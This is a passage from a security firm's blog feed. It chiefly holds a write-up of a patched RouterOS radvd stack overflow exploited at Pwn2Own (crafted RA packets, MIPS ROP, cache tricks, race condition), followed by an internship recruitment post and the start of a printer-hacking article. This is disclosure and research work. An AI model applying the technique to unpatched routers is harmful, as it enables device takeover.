class="language-plaintext highlighter-rouge">sendRA</code>, we found that <code class="language-plaintext highlighter-rouge">radvd</code> has a vulnerability in handling DNS advisory. First, <code class="language-plaintext highlighter-rouge">radvd</code> will store the DNS advisory from the RA received from the upstream router (the data structure is a tree), and when it wants to broadcast the RA to the LAN, these DNS will also be wrapped in the RA and broadcast to the LAN.</p> <p>In <code class="language-plaintext highlighter-rouge">radvd</code>, it is the <code class="language-plaintext highlighter-rouge">addDNS</code> function that expands the tree and puts it into the ICMPv6 packet. In the following figure, the first parameter of <code class="language-plaintext highlighter-rouge">addDNS</code>, <code class="language-plaintext highlighter-rouge">RA_raw</code>, is a buffer of 4096 bytes, which is the final ICMPv6 packet.</p> <p><img src="/assets/img/blog/20240524/35.png" alt="" /></p> <p>Stepping into the <code class="language-plaintext highlighter-rouge">addDNS</code>, we can immediately see that there may be a stack buffer overflow here. The <code class="language-plaintext highlighter-rouge">addDNS</code> puts DNS into ICMPv6 packets via <code class="language-plaintext highlighter-rouge">memcpy</code> without any boundary check, and as long as the DNS advisory is big enough, it can trigger a stack buffer overflow. <img src="/assets/img/blog/20240524/36.png" alt="" /></p> <p>The DNS records used here come from the RDNSS field in the RA packet, but according to the RFC, we can find that the field used to describe the length of RDNSS is only 8-bit. It can cover only 255*16 bytes at most, and this length is insufficient for us to overwrite the return address.</p> <p><img src="/assets/img/blog/20240524/37.png" alt="" /></p> <p>But if this is not the first time the <code class="language-plaintext highlighter-rouge">radvd</code> received RA, <code class="language-plaintext highlighter-rouge">radvd</code> needs to mark the old DNS as expired in the next packet, so we can actually cover twice the length, which is 255*16*2 bytes. That is enough for us to overwrite the return address.</p> <p><img src="/assets/img/blog/20240524/38.png" alt="" /></p> <h2 id="attacking">Attacking</h2> <p>Now, the attacker only needs to send two crafted RA packets with RDNSS field length of 255 to the target RouterOS, and the attacker can control the execution flow of the <code class="language-plaintext highlighter-rouge">radvd</code> program through the IPv6 address in the RDNSS.</p> <p><img src="/assets/img/blog/20240524/39.png" alt="" /></p> <h3 id="the-protection-of-binaries">The Protection of Binaries</h3> <p>Since the architecture of target RouterOS is MIPS architecture, the CPU doesn’t support NX, but other protections are also not enabled.</p> <p>So it’s just a matter of finding a good ROP gadget and letting the execution flow eventually jump to the shellcode we place on the stack, easy peasy lemon squeezy.</p> <p><img src="/assets/img/blog/20240524/40.png" alt="" /></p> <h3 id="the-constraint-of-shellcode">The Constraint of Shellcode</h3> <p>However, there are actually quite a number of limitations in the process of constructing an exploit, for example, since IPv6 addresses are stored in a tree structure, they are sorted before being placed on the stack, so we need to make sure that the payload we build remains the same after sorting.</p> <p>The simplest way to do this is to make the IPv6 prefix to be a serial number, which ensures that the contents of our payload are in order, and that we can accurately jump to the shellcode through the ROP gadget. When writing the shellcode, we just need to construct the suffix of each address as a <code class="language-plaintext highlighter-rouge">jump</code>, so that we can skip the non-executable serial number.</p> <p><img src="/assets/img/blog/20240524/41.png" alt="" /></p> <p>However, due to the delay slot in MIPS, the CPU will actually execute the next instruction of the <code class="language-plaintext highlighter-rouge">jump</code> instruction first.</p> <p><img src="/assets/img/blog/20240524/42.png" alt="" /></p> <p>So we have to move the <code class="language-plaintext highlighter-rouge">jump</code> forward, but since we can’t use the <code class="language-plaintext highlighter-rouge">syscall</code> command in the delay slot, the payload will be a pain to construct, and may exceed the length we can use, which is basically a bad idea.</p> <p><img src="/assets/img/blog/20240524/43.png" alt="" /></p> <p>In fact, this is a common beginner level problem in CTF. All we need is to make the prefix of IPv6 address a legal instruction that does not affect the execution result. We change the prefix to <code class="language-plaintext highlighter-rouge">addi s8, s0, 1</code>, <code class="language-plaintext highlighter-rouge">addi s8, s0, 2</code>, <code class="language-plaintext highlighter-rouge">addi s8, s0, 3</code>…… and so on. In addition to the payloads being sorted, it also saves the space that would otherwise be used for <code class="language-plaintext highlighter-rouge">jump</code> instructions.</p> <p><img src="/assets/img/blog/20240524/44.png" alt="" /></p> <p>But since we didn’t leak the stack address, and since we can’t find any gadgets available to move the stack address from the <code class="language-plaintext highlighter-rouge">$sp</code> register to the <code class="language-plaintext highlighter-rouge">$t9</code> register, what we’ve done here is to first write the <code class="language-plaintext highlighter-rouge">jalr $sp</code> instruction to memory via a ROP gadget, and then jump to it and execute it with a ROP gadget, which then directs the flow to the shellcode that we’ve constructed, and that sounds pretty good: <img src="/assets/img/blog/20240524/45.png" alt="" /></p> <p>But this is not enough to run shellcode, because MIPS has two different cache for memory access.</p> <h3 id="cache">Cache</h3> <p>MIPS has two caches: I-cache (instruction cache) and D-cache (data cache).</p> <p>When we write the <code class="language-plaintext highlighter-rouge">jslr $sp</code> instruction to the memory, it’s actually written to D-cache. <img src="/assets/img/blog/20240524/46.png" alt="" /></p> <p>When we control the execution flow to jump on the address of <code class="language-plaintext highlighter-rouge">jslr $sp</code>, the processor will first check whether the instruction at this address is in the I-cache or not, and since we jump to a data section, the cache will always miss it. And so, the contents of the memory will be loaded into the I-cache. <img src="/assets/img/blog/20240524/47.png" alt="" /></p> <p>However, since the contents of the D-cache have not been written back to memory, I-cache will only copy a bunch of null bytes from memory, which is nop in MIPS, so the <code class="language-plaintext highlighter-rouge">radvd</code> only runs a bunch of nop until it crashes.</p> <p><img src="/assets/img/blog/20240524/48.png" alt="" /></p> <p>Here we need to make the processor write the contents of the D-cache back to memory, and there are two ways to do this: a context switch or exhausting the D-cache space (32 KB).</p> <p>Triggering a context switch is easier, but there is no <code class="language-plaintext highlighter-rouge">sleep</code> in <code class="language-plaintext highlighter-rouge">radvd</code> that we can use to trigger a context switch, and while other functions can trap into the kernel, the chances of a context switch occurring are not very high. In order to compete for the Pwn2Own, it is necessary to have a consistent attack that is close to 100% successful. Therefore, we turned to find a way to exhaust the 32kb D-cache.</p> <p>First , a simple check shows that the <code class="language-plaintext highlighter-rouge">radomize_va_space</code> variable of RouterOS is 1, which means that the memory address of the heap is not random, so we don’t need a leak to know where the heap is. We just need to find a way to make the heap allocate enough space, and then write some gibberish on it to deplete the 32kb D-cache.</p> <p><img src="/assets/img/blog/20240524/49.png" alt="" /></p> <p>However, since there are no good ROP gadgets, such a payload will need too many ROP gadgets, and eventually the payload length may exceed the length we can cover.</p> <p>Luckily, as mentioned earlier, DNS itself is stored in a tree structure, so it already occupies a large chunk of memory in the heap. Through the step-by-step execution of gdb, we can make sure that by the time DNS is being processed, the heap is already bigger than 32kb, so we just need to call memcpy to write 32kb of gibberish to the heap through the GOT hijack and that’s it!</p> <p><img src="/assets/img/blog/20240524/50.png" alt="" /></p> <p>Finally, our exploit is complete:</p> <p><img src="/assets/img/blog/20240524/51.png" alt="" /></p> <p>Combined with another Canon printer vulnerability we found for Pwn2Own, the attack flow would be:</p> <ol> <li>The attacker, as a bad neighbor of the router, sends crafted ICMPv6 packets to it</li> <li>After successfully controlling the router, we perform port forwarding to direct the payload to the Canon printer on the LAN.</li> </ol> <p><img src="/assets/img/blog/20240524/52.png" alt="" /></p> <p>In a Pwn2Own environment, the network environment can be simplified a bit as follows: <img src="/assets/img/blog/20240524/53.png" alt="" /></p> <h2 id="debugging-for-exploit">Debugging for Exploit</h2> <p>Just when we thought we had the $100,000 prize in the pocket, something unexpected happened: our exploit failed on Ubuntu, whether it was a virtual machine in MacOS or an Ubuntu machine; and Pwn2Own officials, who basically used Ubuntu to execute our exploit, so we had to solve this problem.</p> <p><img src="/assets/img/blog/20240524/54.png" alt="" /></p> <p>We tried running the exploit on MacOS and recording the network traffic, then replaying the traffic on Ubuntu, and we can observe that the replay fails: <img src="/assets/img/blog/20240524/55.png" alt="" /></p> <p>We also tried running the exploit on Ubuntu and recording the network traffic, of course it failed on Ubuntu. But when we replayed the failed traffic on MacOS, it succeeded: <img src="/assets/img/blog/20240524/56.png" alt="" /></p> <p>Up to this point, we guessed that one of the OSes reordered the packets before sending them out, and that might have been done after Wireshark captured the packets. So we wrote a sniffer and put it on the router to monitor the traffic, and the result should be very reliable since <code class="language-plaintext highlighter-rouge">AF_PACKET</code> type of sockets are not affected by the firewall rules:</p> <p><img src="/assets/img/blog/20240524/57.png" alt="" /></p> <p>However, the packets recorded from both sides are <strong>exactly the same</strong> ……</p> <p>So, apparently I’m the bus factor now. Exploit has only worked on my macOS so far, and if the situation remains, the last resort would be to fly myself to Toronto with my Mac laptop and do the attack on site with my own laptop. But there’s no way we’re going to leave this problem of unknown cause unattended, who knows if it might happen to my laptop during the Pwn2Own as well, and that would be a real loss.</p> <p><img src="/assets/img/blog/20240524/58.png" alt="" /></p> <p>After a few careful reviews, we finally know the cause of the problem: speed. Since the time window between the two RA packets is not that big, it’s hard to tell from the Wireshark timeline, but if you do some math, you’ll see that the difference in time between the two packets <strong>is 390 times</strong>. So the problem is not with Ubuntu, it’s because the Mac sent the two packets too fast, and accidentally triggered the race condition in radvd (plus I didn’t properly calculate how many bytes it takes to overwrite the return address, I just wrote all the gibberish on it and did a pattern match. So the offset is only correct under the race condition).</p> <p><img src="/assets/img/blog/20240524/59.png" alt="" /></p> <p>The solution is to sleep for a while between sending two RA packets and fix the offset in the payload, which will stabilize our attack with a 100% chance of success.</p> <h3 id="fix">Fix</h3> <p>This vulnerability has been fixed in the following releases:</p> <ul> <li>Long-term Release 6.48.7</li> <li>Stable Release 6.49.8, 7.10</li> <li>Testing Release 7.10rc6</li> </ul> <p>At the same time, we also found that this vulnerability has existed since RouterOS v6.0. From the official website can be found 6.0 release date is 2013-05-20, that is to say, this vulnerability has existed there <strong>nine years</strong>, but no one has found him.</p> <p><img src="/assets/img/blog/20240524/60.png" alt="" /></p> <p>Echoing our initial thought, “No one with sanity would like to dive into the details of nova binary”, Q.E.D.</p> <h2 id="the-race-condition">The Race Condition</h2> <p>But how did this race condition that prevents us from easily earning $100,000 happen? As mentioned above, nova binary has a Looper that loops for dealing with events, i.e. it’s a single thread program, so what’s the race condition all about? (Some nova binary is multi-fiber, but <code class="language-plaintext highlighter-rouge">radvd</code> isn’t.)</p> <p>I didn’t mention that when <code class="language-plaintext highlighter-rouge">radvd</code> parse the RA packets received from WAN, the DNS is stored in a “vector”, but when preparing the RA packets for broadcasting on LAN, <code class="language-plaintext highlighter-rouge">addDNS</code> expands a “tree” with DNS stored in it, so what is the relationship between this vector and the tree?</p> <p><img src="/assets/img/blog/20240524/61.png" alt="" /></p> <p>That’s why we didn’t find the logic “broadcasts RA packets to the LAN when it receives RA from the WAN” in the callback, because it’s the result of the interaction between the two processes.</p> <p>If we take a closer look at what the callback does, we can see that there is an array that holds an object called the “remote object”. The code looks intuitive, it iterates over a vector of DNS addresses, calls <code class="language-plaintext highlighter-rouge">nv::roDNS</code> once for each DNS address, and saves the result of the function execution in the and saves the result of the function execution in the <code class="language-plaintext highlighter-rouge">DNS_remoteObject</code> vector.</p> <p><img src="/assets/img/blog/20240524/62.png" alt="" /></p> <h3 id="remote-object">Remote Object</h3> <p>So what is a remote object? Remote object is a mechanism used in RouterOS to share resources across processes, one process is responsible for storing this shared resource, then another process can send requests to the process responsible for storing it to make additions, deletions, and modifications by specifying the ids. For example, the DNS remote object is actually placed in handler 2 of the <code class="language-plaintext highlighter-rouge">resolver</code> process, while handler 1 of <code class="language-plaintext highlighter-rouge">radvd</code> simply keeps the ids of these objects.</p> <p><img src="/assets/img/blog/20240524/63.png" alt="" /></p> <h3 id="subscription-and-notification">Subscription and Notification</h3> <p>When a remote object is updated, some process may want to respond, so the nova binary can subscribe to other nova binary in advance. Take <code class="language-plaintext highlighter-rouge">dhcp</code> and <code class="language-plaintext highlighter-rouge">ippool6</code> for example, handler 1 in <code class="language-plaintext highlighter-rouge">ippool6</code> is responsible for managing the ipv6 address pool, the dhcp process subscribes to handler 1 in <code class="language-plaintext highlighter-rouge">ippool6</code>, so when there are changes in the ipv6 address pool, dhcp can check whether they need to be processed further, such as shutting down a dhcp server.</p> <p>The subscription behavior is achieved by sending a nova message to the binary that wants to subscribe, with a <code class="language-plaintext highlighter-rouge">SYS_NOTIFYCMD</code> that contains the specific conditions that it wants to be notified about.</p> <p><img src="/assets/img/blog/20240524/64.png" alt="" /></p> <p>When another process adds an object to <code class="language-plaintext highlighter-rouge">ippool6</code>, handler 1’s <code class="language-plaintext highlighter-rouge">cmdAddObj</code> function will be executed.</p> <p><img src="/assets/img/blog/20240524/65.png" alt="" /></p> <p>In most cases, <code class="language-plaintext highlighter-rouge">AddObj</code> will call <code class="language-plaintext highlighter-rouge">sendNotifies</code> to notify subscribers who have subscribed to the 0xfe000b event that their subscribed objects have been altered, so <code class="language-plaintext highlighter-rouge">ippool6</code> here sends a nova message to the <code class="language-plaintext highlighter-rouge">dhcp</code> process informing it of the result of the object being altered.</p> <p><img src="/assets/img/blog/20240524/66.png" alt="" /></p> <p>After understanding the subscription mechanism, we can more fully understand the interaction between radvd and the resolver as follows:</p> <p>When <code class="language-plaintext highlighter-rouge">radvd</code> receives the RA packet from the WAN, it will call <code class="language-plaintext highlighter-rouge">roDNS</code> for each IPv6 address. Handler 4 in <code class="language-plaintext highlighter-rouge">resolver</code> handles this request and creates the corresponding ipv6 object in handler 2. Then, because handler 1 in <code class="language-plaintext highlighter-rouge">radvd</code> subscribes to handler 2 in <code class="language-plaintext highlighter-rouge">resolver</code>, handler 2 in <code class="language-plaintext highlighter-rouge">resolver</code> pushes all the DNS addresses that it has to <code class="language-plaintext highlighter-rouge">radvd</code>, then handler 1 constructs a RA packet based on the DNS address he received, and then broadcasts the packet on the LAN.</p> <p><img src="/assets/img/blog/20240524/67.png" alt="" /></p> <h3 id="the-root-cause-of-race-condition">The Root Cause of Race Condition</h3> <p>The problem is actually in the implementation of <code class="language-plaintext highlighter-rouge">roDNS</code>, where <code class="language-plaintext highlighter-rouge">roDNS</code> uses <code class="language-plaintext highlighter-rouge">postMessage</code> to send a nova message. <code class="language-plaintext highlighter-rouge">postMessage</code> is non-blocking, meaning that the remote object in <code class="language-plaintext highlighter-rouge">radvd</code> doesn’t immediately know what id of a remote object corresponds to in the resolver.</p> <p><img src="/assets/img/blog/20240524/68.png" alt="" /></p> <p>If our second packet arrives too soon, so that <code class="language-plaintext highlighter-rouge">radvd</code> doesn’t know what the remote object’s id is, then <code class="language-plaintext highlighter-rouge">radvd</code> can’t delete these objects in the first place, it can only mark them as destroyed for soft deletion, which results in a race condition.</p> <p><img src="/assets/img/blog/20240524/69.png" alt="" /></p> <p>Let’s try to understand the whole process step by step:</p> <p>First, since both processes are single thread, we can assume that <code class="language-plaintext highlighter-rouge">radvd</code> and <code class="language-plaintext highlighter-rouge">resolver</code> are in their first loop. The <code class="language-plaintext highlighter-rouge">radvd</code> receives an RA from the WAN with only one DNS address, and <code class="language-plaintext highlighter-rouge">radvd</code> sends a request for creating a remote object to the <code class="language-plaintext highlighter-rouge">resolver</code>.</p> <p><img src="/assets/img/blog/20240524/70.png" alt="" /></p> <p>At the same time, <code class="language-plaintext highlighter-rouge">resolver</code> will set a timer when it receives the first request, because in the IPC mechanism, <code class="language-plaintext highlighter-rouge">resolver</code> has no way of knowing how many <code class="language-plaintext highlighter-rouge">AddObj</code> requests belong to the same group, so it simply sets a timer , and sends out a notification when the time is up. The <code class="language-plaintext highlighter-rouge">resolver</code> should reply with a nova message as a response, informing <code class="language-plaintext highlighter-rouge">radvd</code> of the id of the remote object that has just been added, and <code class="language-plaintext highlighter-rouge">radvd</code> will register a corresponding <code class="language-plaintext highlighter-rouge">ResponseHandler</code> to handle this request.</p> <p><img src="/assets/img/blog/20240524/71.png" alt="" /></p> <p>However, if the second RA packet is delivered so fast that the <code class="language-plaintext highlighter-rouge">resolver</code> hasn’t sent the response back yet, <code class="language-plaintext highlighter-rouge">radvd</code> can only mark the old DNS remote object as destroyed for soft deletion first.</p> <p><img src="/assets/img/blog/20240524/72.png" alt="" /></p> <p>Then <code class="language-plaintext highlighter-rouge">radvd</code> proceeds to create a new DNS remote object for the RDNSS field in the second RA packet received, but since the <code class="language-plaintext highlighter-rouge">resolver</code> hasn’t finished the first iteration yet, this new request stays in the socket until the next iteration.</p> <p><img src="/assets/img/blog/20240524/73.png" alt="" /></p> <p>Going back to <code class="language-plaintext highlighter-rouge">resolver</code>, the first iteration ends by passing back an id to <code class="language-plaintext highlighter-rouge">radvd</code>. <code class="language-plaintext highlighter-rouge">radvd</code>’s <code class="language-plaintext highlighter-rouge">ResponseHandler</code> will update the remote object based on the id it gets. But since the corresponding remote object has been marked for deletion, the <code class="language-plaintext highlighter-rouge">ResponseHandler</code> will delete the object instead of updating the object id.</p> <p><img src="/assets/img/blog/20240524/74.png" alt="" /></p> <p>After the <code class="language-plaintext highlighter-rouge">ResponseHandler</code> deletes the remote object saved in <code class="language-plaintext highlighter-rouge">radvd</code>, it will send a delete object message to <code class="language-plaintext highlighter-rouge">resolver</code>, informing it that the corresponding remote object is no longer in use and has to be deleted, but the request will still be stuck in the socket waiting to be processed.</p> <p><img src="/assets/img/blog/20240524/75.png" alt="" /></p> <p>The <code class="language-plaintext highlighter-rouge">resolver</code> then proceeds to the second iteration, where it gets a request from the socket to create a remote object for the second RA.</p> <p><img src="/assets/img/blog/20240524/76.png" alt="" /></p> <p>At this point, the previously set timer expires and the resolver calls <code class="language-plaintext highlighter-rouge">nv::Handler::sendChanges</code> to notify all subscribers what DNSs the resolver now knows about, since object 1 has not been deleted yet, so the resolver pushes the DNS that was created by the two requests. The DNS created by the two requests will be pushed out.</p> <p>When <code class="language-plaintext highlighter-rouge">radvd</code> receives this information, it immediately constructs a RA packet to broadcast over the LAN, and the results of the two requests are mixed together, which is why our attack only succeeds on MacOS in the first place.</p> <p>The race condition itself sounds hard to be triggered (it won’t be triggered if the delete request is processed before the timer), but this is because the whole process has been greatly simplified for ease of explanation, and in fact, as long as the time between the arrival of the two packets is short enough, the race will be successful.</p> <p><img src="/assets/img/blog/20240524/77.png" alt="" /></p> <h3 id="summary-1">Summary</h3> <p>Through the above analysis, we found a pattern of race conditions in the remote object mechanism of RouterOS:</p> <ul> <li>Use non-blocking methods to create/delete the remote object</li> <li>Subscribe to the remote object</li> </ul> <p>Because it is possible to mix the results of two requests into a single response, this could possibly be used to bypass some security checks. If we can find such a vulnerability, it could be used to participate in the router category.</p> <p>In the end, we were pressed for time and we didn’t find any exploitable vulnerabilities through the race condition.</p> <p>And not only that, we realized that the exploit that we had tested hundreds of times over the past few months still had some issues, and we still couldn’t get it to work three hours before the registration deadline. We kept updating the exploit and the white paper we were going to submit, and it was done until half an hour before the deadline (4:00 AM deadline).</p> <p>But luckily, we were able to complete the attack with only one attempt at Pwn2Own, becoming the first team in history to complete the new category of SOHO SMASHUP:</p> <p><img src="/assets/img/blog/20240524/78.png" alt="" /></p> <p>We earned 10 Master of Pwn points and $100,000 by this category, and at the end of the tournament, DEVCORE was crowned the winner with 18.5 Master of Pwn points. <img src="/assets/img/blog/20240524/79.png" alt="" /></p> <p>In addition to receiving the Master of Pwn title, trophy, and jacket, the organizers will also send us one of each of the devices we hacked.</p> <p>(We can’t fit all of them into a picture) <img src="/assets/img/blog/20240524/80.png" alt="" /></p> <h2 id="conclusion">Conclusion</h2> <p>In this study, we have explored RouterOS in depth and revealed a security vulnerability that has been hidden in RouterOS for nine years. In addition, we found a design pattern in IPC that leads to a race condition. Meanwhile, we also open-source the tools used in the research at https://github.com/terrynini/routeros-tools for your reference.</p> <p>Through this paper, DEVCORE hopes to share our discoveries and experiences to help white hat hackers gain a deeper understanding of RouterOS and make it more understandable.</p> https://devco.re/blog/2024/05/24/pwn2own-toronto-2022-a-9-year-old-bug-in-mikrotik-routeros-en/ https://devco.re/blog/2024/05/24/pwn2own-toronto-2022-a-9-year-old-bug-in-mikrotik-routeros-en Fri, 24 May 2024 00:00:00 +0800 DEVCORE 2024 第五屆實習生計畫 <p>DEVCORE 創立迄今已逾十年,持續專注於提供主動式資安服務,並致力尋找各種安全風險及漏洞,讓世界變得更安全。為了持續尋找更多擁有相同理念的資安新銳、協助學生建構正確資安意識及技能,我們成立了「戴夫寇爾全國資訊安全獎學金」,2022 年初也開始舉辦首屆實習生計畫,目前為止成果頗豐、超乎預期,第四屆實習生計畫也將於今年 1 月底告一段落。我們很榮幸地宣佈,第五屆實習生計畫即將登場,若您期待加入我們、精進資安技能,煩請詳閱下列資訊後來信報名!</p> <!-- more --> <h3 id="實習內容">實習內容</h3> <p>本次實習分為 Binary 及 Web 兩個組別,主要內容如下:</p> <ul> <li>Binary 以研究為主,在與導師確定研究標的後,分析目標架構、進行逆向工程或程式碼審查。藉由這個過程訓練自己的思路,找出可能的攻擊面與潛在的弱點。另外也會讓大家嘗試分析及寫過往漏洞的 Exploit,理解過去漏洞都出現在哪,體驗真實世界的漏洞都是如何利用。 <ul> <li>漏洞挖掘及研究 70 %</li> <li>1-day 開發 (Exploitation) 30 %</li> </ul> </li> <li>Web 導師會與學生討論並確定一個以學生的期望為主的實習目標,並在過程輔導成長以完成目標,內容可以是深入研究近年常見新型態漏洞、攻擊手法、開源軟體,或是程式語言生態系的常見弱點,亦或是展現你的技術力以開發與紅隊相關的工具。 <ul> <li>漏洞、攻擊手法或開發工具研究 90%</li> <li>成果報告與準備 10%</li> </ul> </li> </ul> <h3 id="公司地點">公司地點</h3> <p>台北市松山區八德路三段 32 號 13 樓</p> <h3 id="實習時間">實習時間</h3> <ul> <li>2024 年 3 月開始到 2024 年 7 月底,共 5 個月。</li> <li>每週工作兩天,工作時間為 10:00 – 18:00 <ul> <li>每週固定一天下午 14:00 - 18:00 必須到公司討論進度 <ul> <li>如果居住雙北外可彈性調整(但須每個組別統一)</li> </ul> </li> <li>其餘時間皆為遠端作業</li> </ul> </li> </ul> <h3 id="招募對象">招募對象</h3> <ul> <li>具有一定程度資安背景的學生,且可每週工作兩天</li> <li>此外並無其他招募限制,歷屆實習生可重複應徵</li> <li>對資格有任何疑慮,歡迎來信詢問</li> </ul> <h3 id="預計招收名額">預計招收名額</h3> <ul> <li>Binary 組:2~3 人</li> <li>Web 組:2~3 人</li> </ul> <h3 id="薪資待遇">薪資待遇</h3> <p>每月新台幣 16,000 元</p> <h2 id="招募條件資格與流程">招募條件資格與流程</h2> <h3 id="實習條件要求">實習條件要求</h3> <h4 id="binary">Binary</h4> <ul> <li>基本逆向工程及除錯能力 <ul> <li>能看懂組合語言並瞭解基本 Debugger 使用技巧</li> </ul> </li> <li>基本漏洞利用能力 <ul> <li>須知道 Stack overflow、ROP 等相關利用技巧</li> </ul> </li> <li>基本 Scripting Language 開發能力 <ul> <li>Python、Ruby</li> </ul> </li> <li>具備分析大型 Open Source 專案能力 <ul> <li>以 C/C++ 為主</li> </ul> </li> <li>具備基礎作業系統知識 <ul> <li>例如知道 Virtual Address 與 Physical Address 的概念</li> </ul> </li> <li>Code Auditing <ul> <li>知道怎樣寫的程式碼會有問題 <ul> <li>Buffer Overflow</li> <li>Use After free</li> <li>Race Condition</li> <li>…</li> </ul> </li> </ul> </li> <li>具備研究熱誠,習慣了解技術本質</li> <li>加分但<strong>非必要</strong>條件 <ul> <li>CTF 比賽經驗</li> <li>pwnable.tw 成績</li> <li>樂於分享技術 <ul> <li>有公開的技術 blog/slide、Write-ups 或是演講</li> </ul> </li> <li>精通 IDA Pro 或 Ghidra</li> <li>有寫過 1-day 利用程式</li> <li>具備下列其中之一經驗 <ul> <li>Kernel Exploit</li> <li>Windows Exploit</li> <li>Browser Exploit</li> <li>Bug Bounty</li> </ul> </li> </ul> </li> </ul> <h4 id="web">Web</h4> <ul> <li>熟悉 OWASP Web Top 10。</li> <li>理解 PortSwigger Web Security Academy 中所有的安全議題或已完成所有 Lab。 <ul> <li>參考連結:https://portswigger.net/web-security/all-materials</li> </ul> </li> <li>理解計算機網路的基本概念。</li> <li>熟悉 Command Line 操作,包含 Unix-like 和 Windows 作業系統的常見或內建系統指令工具。</li> <li>熟悉任一種網頁程式語言(如:PHP、ASP.NET、JSP),具備可以建立完整網頁服務的能力。</li> <li>熟悉任一種 Scripting Language(如:Shell Script、Python、Ruby),並能使用腳本輔以研究。</li> <li>具備除錯能力,能善用 Debugger 追蹤程式流程、能重現並收斂問題。</li> <li>具備可以建置、設定常見網頁伺服器(如:Nginx、Apache)及作業系統(如:Linux)的能力。</li> <li>具備追根究柢的精神。</li> <li>加分但<strong>非必要</strong>條件 <ul> <li>曾經獨立挖掘過 0-day 漏洞。</li> <li>曾經獨立分析過已知漏洞並能撰寫 1-day exploit。</li> <li>曾經於 CTF 比賽中擔任出題者並建置過題目。</li> <li>擁有 OSCP 證照或同等能力之證照。</li> </ul> </li> </ul> <h3 id="應徵流程">應徵流程</h3> <p>本次甄選一共分為二個階段:</p> <h4 id="第一階段書面審查">第一階段:書面審查</h4> <p>第一階段為書面審查,會需要審查下列兩個項目</p> <ul> <li>履歷內容</li> <li>簡答題答案 <ul> <li>題目 1:請提出三個,你印象最深刻或感到有趣、於西元 2021 ~ 2023 年間公開的真實漏洞或攻擊鏈案例,並依自己的理解簡述說明各個漏洞的成因、利用條件和可以造成的影響。</li> <li>題目 2:實習期間想要研究的主題,請提出三個可能選擇的明確主題,並簡單說明提出的理由或想完成的內容,例如: <ul> <li>研究◯◯開源軟體,找到可 RCE 的重大風險弱點。</li> <li>研究 AD CS 的攻擊手法,嘗試挖掘新的攻擊可能性或向量。</li> <li>研究常見的路由器,目標包括:AA-123 路由器、BB-456 無線路由器。</li> </ul> </li> <li>題目 3(應徵 Binary 組需回答):該<a href="/assets/files/recruit/binary/2024_Intern_Challenge.py">程式</a>為一個 Local Server,可透過瀏覽網頁與之互動,該 Server 跑在 Windows 11 的電腦上。 <ul> <li>請分析上述所提供的 Server,並利用其中的功能,讓使用者瀏覽網頁後,可直接在 Windows 11 上跳出 calc.exe,另外也請盡量滿足下列條件 <ul> <li>不可跳<strong>任何</strong>警告視窗。</li> <li>使用者只要瀏覽網頁即可觸發不會有額外操作。</li> <li>瀏覽器限制為 Chrome 或是 MS Edge</li> </ul> </li> <li>請務必寫下解題過程,並交 write-up,請盡你所能來解題,即使最後沒有成功,也請寫下您所嘗試過的方法及思路,本測驗將會以 write-up 為主要依據。</li> </ul> </li> </ul> </li> </ul> <p>本階段收件截止時間為 <strong>2024/01/28 23:59</strong>,我們會根據您的履歷及題目所回答的內容來決定是否有通過第一階段,我們會在 10 個<strong>工作天</strong>內回覆。</p> <h4 id="第二階段面試">第二階段:面試</h4> <p>此階段為 30~120 分鐘(依照組別需求而定,會另行通知)的面試,會有 2~3 位資深夥伴參與,評估您是否具備本次實習所需的技術能力與人格特質。</p> <h4 id="時間軸">時間軸</h4> <ul> <li>2024/01/05 - 2024/01/28 公開招募,書審截止</li> <li>2024/01/29 - 2024/02/22 面試</li> <li>2024/02/26 前回應結果,早面試會早收到結果</li> <li>2024/03/04 第五屆實習計畫於當週開始</li> </ul> <h3 id="報名方式">報名方式</h3> <ul> <li>請將您的<strong>履歷</strong>及<strong>題目答案</strong>以 PDF 格式寄到 [email protected] <ul> <li>履歷格式請參考範例示意(<a href="/assets/files/recruit/Resume_Example.docx">DOCX</a>、<a href="/assets/files/recruit/Resume_Example.pages">PAGES</a>、<a href="/assets/files/recruit/Resume_Example.pdf">PDF</a>)並轉成 PDF。若您有自信,也可以自由發揮最能呈現您能力的履歷。</li> <li>請於 <strong>2024/01/28 23:59</strong> 前寄出(如果名額已滿則視情況提早結束)</li> </ul> </li> <li>信件標題格式:[應徵] 職位 您的姓名(範例:[應徵] Web 組實習生 王小美)</li> <li>履歷內容請務必控制在三頁以內,至少需包含以下內容: <ul> <li>基本資料</li> <li>學歷</li> <li>實習經歷</li> <li>社群活動經歷</li> <li>特殊事蹟</li> <li>過去對於資安的相關研究</li> <li>MBTI 職業性格測試結果(<a href="https://www.apesk.com/mbti/dati_tw.asp">測試網頁</a>)</li> </ul> </li> </ul> <p>若有應徵相關問題,請一律使用 Email 聯繫,如造成您的不便請見諒,我們感謝您的來信,並期待您的加入!</p> https://devco.re/blog/2024/01/05/5nd-internship-program-recruit/ https://devco.re/blog/2024/01/05/5nd-internship-program-recruit Fri, 05 Jan 2024 00:00:00 +0800 Your printer is not your printer ! - Hacking Printers at Pwn2Own Part II <p><a href="/blog/2023/11/06/your-printer-is-not-your-printer-hacking-printers-pwn2own-part2-en/">English Version</a>, <a href="/blog/2023/11/06/your-printer-is-not-your-printer-hacking-printers-pwn2own-part2/">中文版本</a></p> <p><strong>Hacking Printers at Pwn2Own Toronto 2022</strong></p> <p>延續<a href="/blog/2023/10/05/your-printer-is-not-your-printer-hacking-printers-pwn2own-part1/">之前</a>的研究,去年我們也在 Canon 的其他型號中,找到了 Pre-auth RCE 漏洞 <a href="https://www.zerodayinitiative.com/advisories/ZDI-23-553/">(CVE-2023-0853</a>、<a href="https://www.zerodayinitiative.com/advisories/ZDI-23-554/">CVE-2023-0854</a>),同時 HP 的印表機也有找到 Pre-auth RCE 的漏洞,然而最終與其他隊伍撞洞。我們將在本文講述我們在 Pwn2own Toronto 中所使用的 Canon 及 <a href="https://nvd.nist.gov/vuln/detail/CVE-2023-35178">HP 漏洞</a>的細節,以及我們的利用方式。</p> <ul> <li>Pwn2Own Toronto 2022 Target</li> </ul> <table> <thead> <tr> <th>Target</th> <th>Price</th> <th>Master of Pwn Points</th> </tr> </thead> <tbody> <tr> <td>HP Collor LaserJet Pro M479fdw</td> <td>$20000</td> <td>2</td> </tr> <tr> <td>Lexmark MC3224i</td> <td>$20000</td> <td>2</td> </tr> <tr> <td>Canon imageCLASS MF743Cdw</td> <td>$20000</td> <td>2</td> </tr> </tbody> </table> <h2 id="analysis">Analysis</h2> <h3 id="canon">Canon</h3> <h4 id="firmware-extract">Firmware Extract</h4> <p>與 2021 年相同,可參考<a href="/blog/2023/10/05/your-printer-is-not-your-printer-hacking-printers-pwn2own-part1/">前述</a>部分,本次版本為 v11.04 